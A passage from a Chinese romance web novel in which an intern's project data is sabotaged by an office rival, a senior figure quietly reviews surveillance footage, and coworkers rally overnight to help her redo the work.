睡着的猫宝宝像是被声音吵到,窝在暖呼呼的窝里不安的动了动,但却没有醒。
谁都没发现,去接水的彭念真不知什么时候回来的,就坐在一旁的隔间里,格挡将光完全挡住,她原本秀气的脸看上去愈发的阴沉。
-
沈晞猛地睁开了眼睛,周围是各种有规律敲击键盘的白噪,所有人都在有条不紊的工作着。
下意识摸着手边手机看了时间,竟然已经到了下午两点多。
没想到这一睡让她生生睡到现在。
她匆忙的爬起身,抹了把脸,正急慌慌的输密码开电脑,肩上忽然一沉。
庄凡拍了拍她,“醒啦。”
沈晞有些心虚的抬起头来,唇微抿,眼神带着几分被抓包后的小心试探和打量。
脸上还带着几分头发压出来的印子。
这还让谁忍心多说她几句,庄凡安抚般的收回视线,声音微压的说:“行啦,茶水间左手第二层抽屉有份鸡排饭,赶紧去吃吧。”
“……”沈晞愣了下,立刻一脸感动的看着她。
过了饭点,食堂就不再卖饭了。
怎么说呢,眨着那双睡眼朦胧的眼,此时水汪汪的看着人,庄凡她一个女人都受不了她这眼神,她挥了挥手,“快去快回。”
沈晞站起身,盖在自己身上的西装外套从肩上滑落,她垂头从椅子上捡起来,意识到什么,又走过去抱了抱庄凡的肩膀,哼哼唧唧的叫了声,“庄姐……”
叫的庄凡起了一声鸡皮疙瘩后,沈晞才蹦蹦跶跶的往茶水间走。
庄凡也没想到她这一觉能睡到现在,时间有点久了,哪怕商家提供了保温袋,还是有点凉了。茶水间是没微波炉的,沈晞提着袋子又速速去了食堂,自助加热了一下,等的时候,还没忘在售卖机中给庄凡买了一杯果汁。
吃完饭后,恰好和正往里进的“草台班子小分队”迎面碰上。
“天呐茜宝儿,你怎么也才来吃饭?”
“你看看你看看,在我们这的时候哪儿舍得让你现在才吃饭。”
“还不如留在这儿吧,多快乐一吉祥物啊,你看着人都憔悴了。”
沈晞心想,她也想啊,但是她那位“关系”先生,整日自己游山玩水好不悠闲,对起她来便让人严格要求对待,毫不讲情面。
她简直有苦说不出,此时像见到亲人一样,“我可太想你们了啊。”
“我们也想你啊茜宝儿——”
“茜宝儿——”
几个人抱头上演了一出大型的被迫分离久别重逢悲情剧。
但终究有人要理智的,比如,有人想到了自己还等着被临幸的红烧肉。
“茜宝儿,我饭要凉了,先走了啊。”
“茜宝儿我们马上就快结束了,就可以去找你了。”
“茜宝儿再见。”
沈晞目送着他们进去,一转身便见到那位“宽以待己严以待人”的傅先生从对面走了过来。他最近好像来公司的时间变多了,不知道是不是忽然良心发现,觉得也要“严以待己”一下。
仍是那简洁的衬衣,整个人看上去也很风姿绰约,罪魁祸首就这样清爽又潇洒的出现在自己面前,心情多少是有点不爽的。
沈晞纯不自觉微嘟了下,可下一秒却猛然想起什么,心骤然一沉。
他不会听到了吧?!
沈晞立刻不着痕迹的打量着他,不可能错过他脸上的任何细节,甚至连他脸上细小的绒毛都快数清根数,没办法,毕竟傅先生实在是喜怒太不形于色。
确定他神色如常,浅淡的眸子似乎还带着几分今日是否需要“拿捏分寸”的同她打招呼的思考,沈晞这才松了口气。
不过她今天实在是有些忙,没有给他打分的时间,只冲他轻轻摆了下手,不再给他多余的发挥空间,便想离开。
即将错身时,傅律白却忽然开了口,“茜宝儿?”
沈晞身体一僵,慌张抬起头,便对上了他那双淡漠的眸,此时淡淡垂眸凝视着她。
沈晞自动翻译出了他想表达的意思——原来就是你!
简直是当头一棒。
“不、不……不是,他们是在说……”沈晞大脑在高速运转着,CPU简直都要干爆了,像是灵光乍现般,眼睛瞬间亮了,“喜宝儿!他们在说《喜宝》,最近新读的很有感触,正在交流心得。”
“哦,”傅律白淡淡的看着她,也不知道信了还是没信,不紧不慢道,“原来是这样。”
沈晞猛点头,眨着一双大眼睛无比真挚的看着他,试图增加这个可信度,“没错,就是这样!”
傅律白覆手,没有再执着于这个问题,但这个问题似乎给了他灵感,又礼貌且耐心的询问:“那茜茜打算什么时候带我去品尝一下锡宝儿?”
这是在讲,他们之前说的,走街探巷活动。
“……”
吃吃吃,这样你很容易崩人设的知道么!
她拿什么给他吃啊!把自己胳膊剁下来递给他啃么?!
沈晞内心崩溃着,面上却不动声色,“我最近很忙,等我忙完这段时间再说。”
到时候可能早就把这事给忘了,毕竟日理万机的傅先生,这种小事又怎么会挂在心上。
沈晞心态稳住了,又不忘反将他一军,扬起下巴,对着他同样不紧不慢的说:“毕竟傅先生特意叮嘱了,要让人对我格外严厉严格的。”
“特意叮嘱”四个字,被她加重了读音。
好让他明白,现在吃不到,全是他的问题。
但傅先生终究是傅先生,不愧是见过大风大浪的,被当事人揭穿也不见任何愧疚或者不好意思,反而有几分清风亮节的味道。
他带着几分为难道:“总不能和人家讲,要对你格外关照。茜茜,你想要那样么?”
说到后半句时,傅律白淡色的眸轻轻的睨过来,却像是审视般,直直望进人的内心里,让人失去任何说谎的能力。
不,她确实并不想那样。被处处特殊化开绿色通道,自己当个没用的被捧着的废物。
“不想。”于是她只能干巴巴的答,可还是有点不情愿,“那你就不能让别人像正常那样么?”
她虽然不想当废物,可也没有野心到要被历练成长,当个什么超强职场人。她就想做个普普通通打酱油的混子。
听到她前面的回答,凝着她的淡眸有着云散般的晴朗与赞赏,他当然可以让她就这样安安稳稳走过这个阶段。可鲜花就是应该绽放的,那样黯然的护在温室里,未免可惜。
实在不符合她热烈又肆意的样子。
傅律白眸色微收,又恢复到以往温淡又不紧不慢的样子,“可我既然和人家打了招呼,不让人家严厉一点,人家总归是不敢放开手脚,难以把握那个度的,总不能太让人家为难。”
真是事事周到傅先生,连“走个后门”都替员工考虑的周全,沈晞忍不住在心中腹诽。
“那你就好让别人为难我?”她仰着头,带着几分熟识后很有底气的责问。她讲这句话,并没有打小报告说自己上司的意思,只是完全的在为难傅律白。
语调轻快,又不依不饶,带着少女独有的刁蛮。可事后想想,不过是仗着傅律白的纵容,她无法无天,恃宠而骄。
可那时的她毫无所察,连傅律白自己都没察觉。
春日晴朗的午后,金灿灿的暖阳笼在两人的身上。后来,沈晞辗转于各国阴雨绵绵潮湿的街头,终于体会到了曾经她认为极尽矫情与穷酸的那句——当时只道是寻常。
傅律白睨着她,轻笑,似是不懂她怎么可以这样不讲道理,“只是偶尔工作量多一点就是为难了?”
多么冰冷的资本家语气!
只有痛落在自己身上,大概才会知道痛。沈晞不再与他争论,换个方向回击道:“哦,不算。反正你吃不到了,我最近都!很!没!空!”
虽然她拿不出真的“茜宝儿”来给他吃,但大家都别想痛快!
沈晞带着几分报复的快感,得意的看着他。
谁知下一秒,傅律白唇齿微启,带着最平心静气、轻松提出解决问题的安抚语调,说着让人心惊肉跳的话,“放心,周六日即使是赶大项目,锐昇也规定必须至少休一天的,我们还有时间。”
像是在温柔的提醒加班到晕头转向,即将奔溃的小朋友,即将可以休息。生活并不是那样不能喘息。
沈晞瞳孔却猛地一震。
糟糕,她怎么把这个给忘了。
大约是看出她神色间的不对,傅律白还十分妥帖的询问:“周六日锡宝儿不开门么?”
正在想对策的沈晞像是抓到了救命稻草一样,猛点头,“对对!没错!”
又怕他继续说,“工作日开到什么时候,或许可以外卖、或者偶尔开一下后门让你正点下班我们再去”芸芸,她实在是不敢低估好学的傅先生近期对街边美食的钻研探究程度。
她去哪里给他搞啊!
难道还要为此发明一道美食出来,并且雇群演么?
于是忙说着,“啊,我先走了,我实在是太忙了,傅先生再见。”
说完,也没给他反应时间,直接跑向了电梯。
傅律白看着因为惯性刹车不及多滑出去了两步,手扒着电梯外的框才把自己给拉回去,恰好电梯门开,像是身后有什么洪水猛兽而匆忙进去的人,忍俊不禁的侧头轻笑了下。
过了几秒后又转回来,将视线落在再次紧闭的电梯门上,眼睑微垂。
原来还真不是锡纸的锡。
-
沈晞一屁股坐回工位上,被刺激的彻底醒了,这会儿还有些心有余悸。果然谎言就要用无数个谎言与圆。
直到一旁的庄凡侧过头来,奇怪的看着她,“你抱着瓶果汁愣住干嘛呢?你别又开始给我发饭晕啊!”
庄凡急了,真没时间给睡了。
沈晞这才猛地回过神来,把手里的果汁递过去,张口就来的安抚道:“没困没困,我整理思路呢,给你喝。”
说着就打开了电脑。
庄凡接过,可目光却没移开。心想,是发呆还是想思路,她能看不出来么。
可在看身旁的人,真就目光如炬霹雳吧啦五指翻飞的,思路看上去就很畅通,庄凡愣了下,狐疑的收回了视线,打开了果汁喝了口。
猛敲键盘,这会儿已经打出了小半页文稿的沈晞:不困了,困不了一点。
就冲着这股精神劲儿,她整个一下午就没挪窝。
直到晚上九点时,庄凡拿起自己的包,看着旁边还在聚精会神敲键盘的自己的小实习生说:“今天就到这吧,不早了,回去吧。”
虽然白天多睡了会儿,也不用这样补,等会地铁都快有停运的了。
“我把这点弄完,就快搞定了。”沈晞没抬头,手下未停,人虽有些疲惫,眼中却带着熠熠亮光。
庄凡一听,便听出了重点,拿包的手一顿,侧身看向她的电脑。过了两秒,惊讶的问:“你都弄完了?”
“嗯。”沈晞压着情绪,轻声应,手上的速度却没减。
庄凡也不再打扰她,人也不走了,就在一旁看着。
又过了五分钟,沈晞的手才停了下来,长长的伸了个懒腰,才发现,竟然这么晚了,整层办公室里都没剩几个同事。
“可以啊茜茜。”庄凡简直爱死她了,激动的想狠狠抱着她亲,但到底碍于办公室还有人在,虽然能力出众,却不爱张扬,职场多年,早就明白要闷声做大事。
所以只克制的掐了掐她的脖子。
沈晞就没那么多顾虑了,脑袋顺势往她胳膊上一躺,懒洋洋带着点疲惫的说:“还差一点,明天上午我收收尾就给你。”
她们两人没张扬,但此时办公室人少,安静,还在的同事们便也听到了。
忍不住都抬头,有恭喜庄凡的,也有暗自卷到自己的,还有替她们终于快熬完这个大项目高兴的。
第二天一早,沈晞到了公
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司便把打开文稿进行查缺补漏修修改改的收尾,比较碎片化,也不用像昨天那样精力高度集中,她中途还去了下卫生间,昨天晚上回去时,才惊觉自己竟然一个下午都忘去了卫生间,生怕把自己搞出什么问题来。
从卫生间回来时,彭念真恰好拿着水杯从她工位旁路过,两个人走了个正对面,谁都没理谁。最后还是沈晞先侧了下身,彭念真没什么表情的走了过去。
在不涉及些利益关系面前,沈晞还是个很热爱和平的乖宝宝,她其实并不怎么爱争吵。
其他主管们都去开会了,沈晞趁着这个时间,赶在十点的时候便把整个项目案发给了庄凡。
等他们开会回来,其他人开始进行苦逼工作时,她们两个已经悠闲的整理些琐碎小工作,羡慕的大家不行。
谁知下午才到上班时间,庄凡便被行政部总经理叫走,再回来时脸色异常难看,“茜茜,你过来一下。”
正在放松玩手机的沈晞愣了下,跟着走了出去。
众人也看到了庄凡的表情,忍不住面面相觑,“怎么回事啊?”
恰好有人从卫生间回来,路过经理办公室听到,凑过来小声说:“刚刚经理把庄凡骂的好惨,好像是GYTO那个项目数据出了大问题。被GYTO那边给直接给退回来了。”
“GYTO啊,出了名的要求高,在业内说话又算。”
“对啊,不然也不会和咱们公司合作了。要是丢了GYTO这个客户……这下庄凡她们惨了,会被开除吧……”
“就算不开除,也肯定会降职影响晋升了。庄凡也是,怎么把这个项目给沈晞了啊,就算她业务能力再强,也是个新人啊……”
众人神色各异,却暗自都有些看热闹的想法。毕竟她们两个人最近实在是太出挑惹眼,整个办公室就显她们了,做什么都是最快最好的,明明大家都是同样的等级,可却生生变成了她们的陪衬。
出了这样的事,确实可以好好搓一搓她们的锐气。
同层小型会议室里。
庄凡关上了门,她虽被骂的不轻,但这会儿还保持着理智,“怎么回事?数据怎么会错的那么离谱?”
她相信沈晞的能力,所以在提交前也没再检查,但她更相信,沈晞不会犯这么低级的错误。
沈晞皱着眉,点开了之前她发给庄凡的文档,过了几秒钟后,她神色难看的抬起头,“这不是我弄的数据。”
庄凡听出来了,眸色一凛,“有人动过你的数据?”
沈晞点头。
“知道是谁么?”
“不知道。”沈晞愤恨的咬了咬牙,又说,“但是我那些分数据都还在,重新弄应该不会花太多时间。”
庄凡也觉得自己是气懵了,现在并不是找原因的时候,而是解决问题。GYTO和总经理那边,要的也不是她们的解释,而是这个项目的正常推进。
她没和沈晞说,总经理刚刚甚至已经拍着桌子发话,这事不处理好,她也就可以卷铺盖走人了。
虽然找幕后人不是重要的,但也不能就这样忍着。庄凡直接推开了办公室的大门,两个人气势汹汹的走到沈晞工位,沈晞是急的想要修补case,庄凡则是气的。
“怎么了?”
“现在什么情况?”
大家都被她们俩这个反应弄的有点愣住。
“有人动了沈晞的数据。”庄凡直接把事摆到了明面上,两个人的视线锐利的扫过在场的每一个人。
众人哗然,虽然他们乐见庄凡受挫好为自己让道,但并不代表愿意办公室里存在着毁坏人家工作成果的小人在,这次是庄凡下次就可能是自己。
但现在,被师徒两人一个干练艳丽一个清纯可爱,可此时全都眼神锐利的狠狠盯着,就像是被当贼怀疑一样,又有点不舒服了。
有人忍不住说:“这话是什么意思,是怀疑办公室里的人么?”
“现在还不确定,等查完监控,让我知道是谁——”庄凡话音一顿,环视众人,冷艳的脸上是肃杀般的狠绝,“别想好过。”
众人也不由相互扫视着,怀疑着彼此。
沈晞的目光,在扫视到彭念真时,两个人的目光在空中对上,彭念真下意识闪躲。
她不由得又将视线移回,落在了她的身上。
彭念真被看的有些不悦,又将目光迎了上去,“你看我干什么?”
沈晞凝着她,淡声问:“怎么,你心虚啊?”
彭念真唇齿相讥的反问:“我心虚什么?”
沈晞圆润润的眼睛直直看着她,有种置身事外的清冷和不好糊弄,“你不心虚看你怎么了?”
“……”
彭念真被问的哑口,她静静看着面前的人,她最烦的就是她这样,永远都是懒洋洋地、要么就是笑嘻嘻的和人撒娇,即使是现在,都是一幅淡定的样子,好像什么事在她身上都不算事。即使加班加到她抓狂,她也知道,那只是她夸大化而已,不是真的崩溃。
她倒是要看看,她还能得意快乐多久。
这个插曲,让办公室气压有些低,大家各自做着自己的事,还有几个关系和她们两个不错的说,需要帮助了和他们讲。
沈晞也打开了电脑,打算开始重新整合之前的数据,可过了几秒钟后,她彻底气笑了。
“怎么了?”庄凡在一旁沉声问。
沈晞舌尖轻抵了下后牙,“小数据也被改了。”
大概是时间匆忙,只改了一部分,幸好她还记得些,发现了,不然按这个重新做,更完了,简直白忙活。
“操。”庄凡忍不住爆了一声粗口。
-
全都不能用,意味着这十天的加班量要重新在一天内搞定,但沈晞并没打算放弃。争分夺秒的,先跑去和各部门打好招呼,并且快速的整理好轻重缓急的思路。
没想到才出办公室的门,便看到傅律白和人并排着走过来。
她此时莫名有些不想见他,怕他批评自己怎么会犯这样低级的错误,更怕他出口安慰。
沈晞目光微闪。
可傅律白只是隔着朦胧金灿灿的光晕,视线自然的淡淡睨了她一眼,便和身旁的人继续说着话,从她面前走过。
就好像什么都没发生,却也不刻意,只是走路时余光自然的那么一瞥路况。
凛冽雾凇和清淡檀木掠过鼻息,带着些让人平心静气的作用。沈晞轻松了口气,脚步坚定的向着其他部门走去。
走出几步的程开霁却忍不住问:“三哥,不和乖宝宝打声招呼么?”
GYTO确实是个很重要的合作公司,虽然这次处理的是个小项目,但闹出这么大事也还是传到了上面。
他们自然知道。
也凑巧今天两人都在公司,刚刚下来他都以为三哥是特意来找乖宝宝的。
“她不是一般需要保护的小姑娘,骄傲又要强,现在和她说什么反而让她不自在。”傅律白边走边淡声说,而后又看向他淡声叮嘱,“你也别多往前凑。”
程开霁应着,心中却诧然。三哥对乖宝宝的了解竟然到了这么深的程度?
到底是三哥识人辨事的能力深到才见几面,便能将人看的如此透彻。
还是,在什么时候发生了些他不知道的一些事。
程开霁看着他的目光微深,带着不着痕迹的打量,情绪复杂。
他惶惶的跟着走了一段,才想起另一件事——不是来见乖宝宝的,那下来干什么?
一分钟后,两人在一间门室外停了下来,便告诉了他答案,上面的牌子俨然写着三个大字——监控室。
傅律白站在门外,温淡的眸子间罕见有寒意一闪而过。
17. 第 17 章
锐昇集团每一层都配有一个监控室,来保证各个楼层出问题时,可以即使发现。
他们两位并不怎么来公司,坐在监控室前的人听到开门声,有些诧异的回过头来,看着他们。
别说监控员诧异,连程开霁都有些不解,但他当然是不能拆台的,跟着三哥久了,也学会了遇事先不露声色,没侧头去看身旁的人。
傅律白主动说明了来意,声音温淡道:“我需要查一下昨天的监控。”
面前的人穿着考究,姿态温和,甚至面带客气有礼的浅笑,如沐春风却又气质高远清贵,监控员如同被摄了魂般,几乎下意识就要给他让位置。
屁股都已经快离开座位了,却又猛地想起规章制度来,又坐了下去,“你们有签字申请手续么?”
虽说有监控在,但并不是每个人都能任意来查一查玩的。至少要有主管签字,写明原因才行。不过语气却很好,就是例行公事的问一句,两个人看上去就不像没有的,更不像不按规矩办事的。
大有自己就是主管领导的,明明自己在办公室签个字的事却懒得走流程,让他为难。
傅律白看向程开霁。
程开霁愣了下,仔细想了想,隐约是在某次董事会上,听到过这么一嘴,但他不太确定了,“没有。”
已经把屁股彻底抬起来,要让位置的监控员:“……”
你们怎么还人不可貌相呢?
又一屁股坐了回去。
当时开会没着耳朵听,现在自己被卡住了的程开霁无声轻叹了口气,压着耐心问:“要谁的签字,副总的行么?”
那位正总最近在英国出差,隔着八小时时差,此时那边应该是凌晨两点。要非要一把手来,这规定实在是太不人性化,改,必须得改,开董事会第一件事就是改这个。
已经有些不耐烦的监控员扒拉着电脑监控,“什么谁的签字,你们第一天来公司么,副总不行,得主——”
说到一半的监控员猛地回过神来,瞪大眼睛看着他,“谁?你说谁?副、副总?哪……哪个副总?”
程开霁奇怪的看了眼忽然结巴的人,心想这公司还有几个副总,还是说:“张峰。”
傅律白也淡淡看向他,大有——“你是否对这公司也太过不上心,主要人员组成都不太清楚”的意思。
监控员则“啪”的一声,按飞了一个键帽,他怎么记得他们副总经理就好像叫——张峰?
这两个人到底是谁啊?
他都忘记自己是怎么回答的了,只记得在这人打电话时脑袋里疯狂的想着,拦了能一个电话就直接联系到副总经理的人,他还能继续在公司混下去么?
那边电话沟通着,傅律白上前一步,客气道:“能否先让我查看,放心,我们就在这等着补齐手续,不跑,不会叫你为难。”
人数太多,看起来实在是个大工程,时间有些紧。
身居上位者,即使再平易近人,也会带着股让人下意识听从信服的威严的。而此时监控员听着甚至感受到了一丝安稳,让有些慌乱的心找到了些镇定,就好像握住了此时唯一正确方向。
监控员下意识起身,声音还有点抖,“行、行……”
傅律白冲他微微颔首,淡声道:“多谢。”
此时,某高尔夫球场内,因空降了两位大佬,公司事不用他怎么管的张副总,此时正打完一场球舒舒服服的躺在遮阳伞下,喝着小果汁。
看到来电时,猛地从躺椅上滚坐起来,肚子上的肉都颠了颠,紧张的接听了电话。
在听清来意后,张副总连连说好,又客气道:“麻烦请您把手机给他。”
慌到不行的监控员接过电话,那边再也没对着程开霁的半点客气,劈头盖脸就是一通,“啊呦我说你卡他们干嘛啊,这就是两位祖宗,公司都是人家的什么签不签字的,让你干什么你就干什么,配合人家知道么!”
张峰的喊骂声让监控员的腿彻底软了,完了,他真的完了。
原本好好度假呢,没想到在他这小阴沟上翻船出了岔子,让张峰实在是有些崩溃,声音大的不但刺激着监控员的神经,甚至连已经开始聚精会神查看的监控视频的傅律白都听到了。
傅律白眉心微蹙,却没抬头,视线仍一错不错紧盯着电脑屏幕,不肯放过每个细节,却带着几分好笑和不解的温声开了口,“人按公司规矩办事认真工作,怎么发上了脾气,和那位副总说说别难为人家。”
顿了下,又漫不经心玩笑道:“开霁,你这公司风气可不怎么好。”
视频被他分成了细小的片段。
恰好到了这一个镜头结束的间隙,他侧头冲着监控员歉意的轻笑了下,“抱歉,给你添麻烦了。”
温淡琥珀色的眸如月光映雪山,带上了层温度。
小小监控室都变得明亮。
正在担心因辞退而这个月房贷无处可交,以及之后是否还能找到工作的监控员被这一笑晃了神,像是冬日温泉入喉,感激的他差点哭了。
而一旁的程开霁眸色却有些发沉,像是在思考着什么。
-
即使和其他部门打好了招呼,他们也只能提供一些帮助,沈晞和庄凡两个人还是忙得抬不起头来。小会议室今天没人,直接被她们两个占用,敲打着键盘几乎出现了残影。
时间一分一秒的过去,两个人争分夺秒的妄想和时间抢工。太阳逐渐西斜,落日的余晖最后照在长长木色会议桌上一角,直至完全落幕,会议室暗了下来,庄凡打完这句话后,才站起身来,打算去开灯。
忽然一震天旋地转,人还未站稳,便又直直倒了下去,下意识扶住了桌子。
但还是发生不小的碰撞声。
惊到了沈晞,下意识抬头,便见人靠坐在椅子上,她心中一紧快速起身走过去。走近借着窗外余光才发现人脸色很白,额间带着细汗,脸颊却又是不自然的潮红。
她将手贴上去,瞬间被那滚烫的温度烫到,嗓音发紧道:“庄姐,你发烧了!”
庄凡借着她手上的劲撑坐起来,摆摆手,声音虚弱道:“你帮我叫盒退烧药。”
听上去大有顶一顶就继续干的意思。
沈晞一下就急了,“什么退烧药啊,你这至少得四十度起步了,不要命了?!赶紧给我去医院要么回家睡觉!”
庄凡自嘲般苦笑了下,“要是搞不完真的没命要了。”
“……”沈晞神色一顿,问,“经理怎么说的。”
庄凡沉默着没说话。
沈晞眸色一凛,又气又急,“庄姐都现在了你还有什么好不说的。”
庄凡动了动因发热而起干皮的唇,冲着她有些无奈的惨笑道:“明早之前事情处理不好,我就可以卷铺盖走人了。”
“……”沈晞默了默。
情绪有些复杂。
这个项目是她负责的,如果想推人担责任,大可以将问题全归到她的头上。但最上面的人,一定又会碍于她的“后门”,不会找她的麻烦,所以把庄凡推了出去。
虽然合情合理,但其实就看想要保谁罢了。
庄凡似乎看出了她的想法,轻笑着说:“别瞎想,本来下属的东西我就应该审核再提交的,就是我的责任。再说,这事这么大,锐昇做事向来有态度,也不可能拉出去个小实习给人交代。”
沈晞有点难受,看着她认真的说:“庄姐我不会让你走的。”
凭什么啊,人家在这公司干的好好地,一骑绝尘可能过两年就要晋升了,凭什么短暂的带了她一下,因为她被整,被搞得断送职业生涯啊。
庄凡精力实在是有些不济,有气无力的说:“你真不想我走,先给我买点药成么。不然真弄不完了。”
“我让你吃点药继续干,你就真得猝死走了。”沈晞看着眼都快睁不开还强撑着,瘫在桌子上的人,给她倒了杯水,才意识到两个人竟然快一天没吃没喝了。
然后拍案叫板般看着庄凡一边喝水一边道:“你到底要我给你叫车去医院还是回家,别耽误时间了,反正我肯定不会让你留在这。”
她是真的很坚决,小姑娘掐腰站在那,还挺有气派。庄凡也觉得自己越来越难受,再这样下去真会晕过去,但是……她看着沈晞直白的说出了现在的情况,“你一个人弄不完的。”
虽然她们两个人也很难,但是要是没努力到最后一刻就放弃失去了这份工作,那她还不如猝死在这。
沈晞认真的看着她,一双玻璃珠般漂亮的眸此时很深很沉,莫名带着股令人信服的味道,她保证着,“我能弄完。”
为了让这句话有力度,她还补充着,“那些东西都是我做过的,我有印象,我可以赶工做出来。”
就像是一句强心剂,庄凡的心跟着重重的跳了下,是工作久后少有的热血沸腾,就像是又找回了初出茅庐时那股无畏且所向披靡的感觉。
让人愿意相信,庄凡深深地看了她一眼,“茜茜,我的命可就交你手里了。”
沈晞给了她一个放心的眼神,同时催促着,“赶紧吧,你再不走,真要没命了。”
庄凡正想开口,桌上的手机忽然响了起来。
有电话进入。
她垂眸看了眼,像是在迟疑,过了两秒后,还是接通。
那边似乎也有些意外,不知道说了些什么,只听庄凡淡声开口,声音还带着点哑,“来公司接我一下。”
那边又说了两句什么,庄凡挂了电话。
便对上了沈晞一脸八卦的表情,一双玻璃珠的眼睛转啊转的,虽然没听到内容,但她明显听见了电话那头是个男人的声音!
庄凡:“……”
沈晞很想知道,但现在确实没时间了,只气势汹汹的说:“明天再审你。”
便干净利落的转身,投身到工作中,她做事向来不拖泥带水,直到庄凡被人接走,两个人都是安安静静的,没打扰她,沈晞也注意力相当集中的没分心抬头。
干完这一趴,有的是时间八卦。
月亮慢慢挂上枝头,走廊由躁乱逐渐变得安静。人们匆忙的下班,没有人会留意走廊一角的会议室中,还有人在玩命的加班。
更不会注意到,会议室外还站着两个人,身材颀长,走廊里灯光将两个人的影打在会议室外的玻璃上,影影绰绰的笼着里面头都抬不起来的女生身上。
女生身上纯棉的娃娃领衬衣都变得皱皱巴巴,头发也出了些油,看上去很是狼狈,再没半点出水芙蓉般的清透。
可傅律白却觉得她那双玻璃珠般的眼睛,比任何时候都更加明亮璀璨,整个人像是个死死扎根的沙棘,有着蓬勃的生命力。
程开霁有些看不下去,“我和GYTO说一说算了,他总归会卖我个面子。”
不过是到时每年谈合作时,被拿捏几分,再调侃几句。让些百分点的自由,他还是有的,只是有些麻烦而已。
傅律白淡淡收回视线,却也没看向程开霁,只虚虚落在面前那单薄却笔直的背上,淡声说:“你能帮她一次,能帮她一辈子么?”
程开霁一怔,有些不解的看向身旁的人。
一身简洁的软绵衬衣,和黑色西裤,并未像大多数人那样,需要严丝合缝的挺括三件套,来彰显着自身矜贵的身份和不凡的气度。
可他只只身站在这儿,软绵衬衣更好的垂坠在他的身上,身姿挺拔,便如皑皑雪山,气质清贵儒雅又高远,不需任何的外力凭仗来修饰,便内有乾坤。
十分立体的五官,分明的棱角,可却因一双总是浅色清淡的眸,便点睛般定了他这可望不可即让他人不敢僭越造次的清雅气。
却也淡漠。
亦如此时,仍是淡的,看不出一点其他多余情绪来。
这让程开霁愈发拿不准,这话里话外间,只是如前辈对后辈、下属般敲打的态度,是真的只是应了老师的托付,再无半点其他?
难道真的是自己想错了。
可今日在监控室,虽监控员有着副总的发话,让全力配合。可来来往往的人实在是太多,监控员眼睛都快瞎了,也没真的排查出什么来。
最终还是傅律白,人坐在另一台电脑旁,一帧帧亲自看着,程开霁不知道他在找什么,但只跟着看了一分钟,头便晕了,赶紧退靠到一旁,傅律白却很坐得住,几个小时没抬头,却也不见急躁,仍旧气定神闲不紧不慢的,只留下一棱角分明的侧脸,在电脑蓝光下镀上一层光影,看上去越发立体。
像是自带清心安神buff,即使在三哥身边这么久,还是会被他这种由内而外的气定神闲折服,并且觉得自己总也达不到这种境界。
程开霁收回思绪,再想当下,如果只是长者般的引领指导,三哥今日费这么大的力气,又是为了什么?
总不能是为了他的公司。
后来他才明白,三哥这人不单为人处世有着远高于一般人的格局与气度,就连在感情上都是成熟与大气的。他喜欢上谁,也不会只让人做攀附于他的菟丝子,虽然他远有着这样的能力,而会在他羽翼庇佑下,让人去见识些风雨,不会多伤筋动骨却也能感受风雨的危险,不是
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温室中脆弱不堪的花朵。
直到有一天,即使离开他强大的羽翼,也能独立面对风雨,不会惊慌失措,很好的走完那一条没他的路。
而见识风雨,多少也会被风雨淋湿一点花瓣,打在柔嫩的花瓣上让人心恼。
长期的低头,让沈晞的颈椎阵阵发痛,连头都开始发晕。
月亮高高悬挂,余光都能看到外面漆黑的天空。会议室空荡安静,只有整整齐齐摆放的桌椅,连走廊都没有其他的声音。
留给她的时间并不多了,她看着文档里还有一半没处理完的工作,生出了一股深深的无力感。
可她凭什么要放弃,凭什么要如故意整她人的愿,凭什么庄姐要牵连离开。
下一秒,会议室的门忽然被人从外面打开。
沈晞下意识地抬头。
然后。
一个。
两个。
三个……
一个个熟悉又带着同款疲倦的面孔从门外鱼贯而入,之前安静空荡死寂般的小小会议室,轻易便被挤满。
沈晞的眼睛瞬间发酸发胀,视线都变得模糊。
“哎呀茜宝儿你别哭啊……”
“不是还有我们呢么!”
“谁敢欺负我们的吉祥物宝宝!”
众人围过来,递纸的递纸,拍肩的拍肩,送水的送水。
沈晞拿纸压了下眼睛,深吸了口气,压下了情绪后,看着他们哑着嗓子问:“你们怎么来了,别耽误了工期。”
她知道,最近那个项目也在最后的收尾期了,时间很紧绷。
“放心吧,我们今天加了一天班,把晚上的工作给赶出来了。”
老周亲自发的话,所有人,在沈晞一个人努力奋斗时,他们草台班子小组也在马不停蹄的赶着工。就等着来支援她。
沈晞的眼睛又有些红了。
大家安慰着说现在不是哭的时候,沈晞自己也知道。
本就是各部门集合大乘的项目,有了他们各个部门的加入,自然是比沈晞快的,草台班子在这一刻发挥了无比巨大的作用。
每个人分工明确配合默契,只需沈晞简单说一下,便知道怎么做,自顾自的拉开一旁的椅子按部就班的做起来,就像是回到了之前,沈晞一个统筹调配大家便会有条不紊。
此起彼伏的键盘敲击声充斥着整间会议室,沈晞自己反而好像再次成为了无事可做的人,只觉得神奇。
会议室的门再次被人推开,外卖员提着大大的外卖盒走进来,留下了一堆方便易吃的食物。
简直拯救了这群饥肠辘辘的人们,沈晞一天没吃饭,而这些几班加点赶来救援的草台班子小分队也没来得及吃晚饭。
这时他们边用吸管喝着粥或单手啃着饼,敲着键盘边说:“起初我觉得茜宝儿回来简直受死委屈了,但现在看来,你领导蛮好的嘛,发着高烧人都快倒了都不忘投喂你。”
他们在这过程中,已经知道了大概的情况,也知道了庄凡病倒的事,可谓是危机重重。
沈晞眼睑微垂,看着自己手中的草莓牛奶没讲话,有着股无法言说的隐秘又雀跃感,像是喝了口碳酸饮料在心尖上冒着泡泡。
她下意识地回头,好似隐隐还能看到玻璃反透过来的朦胧、却永远颀长挺拔,如高山般顶天立地的身影。
后来,程开霁问,为何他们帮便可以。
傅律白手捧一杯清茶,声音也同夜般轻淡,却带着几分盯了一整日监控视频后的微哑,目光却未见疲倦,不知是否是程开霁的错觉,还看到他眼中划过一丝赞赏骄傲般的浅笑,说:“那也是她自己赢来的人脉,怎么不可以。”
他们是她小叔的关系,所以便不行?
那一刻,程开霁看着坐在柔软皮质沙发晕黄灯光下,慢慢品茶的人,很像问一句,她真的没自己赢得三哥您这个人脉么?
-
第二天一早,行政部的人陆续进来,看着空空的两个座位,忍不住开口。
“也不知道她们有没有做完。”
“肯定做不完啊,一晚上的时间补至少小半个月的东西,怎么可能弄得完。”
“对啊,不然怎么两个人都没到。”
“那庄凡惨了。”
“那现在她们是什么情况啊?直接不敢来跑来了?”
众人神色各异,就在这时,办公室的门被人推开,行政部经理神色有些急的走进来,目光落在庄凡空空的座位上,“她人呢?”
众人摇摇头,“还没来。”
行政部经理皱了下眉,发信息没得到回复,给她的小实习生发也没动静,以为还在补工作,没想到直接没来?
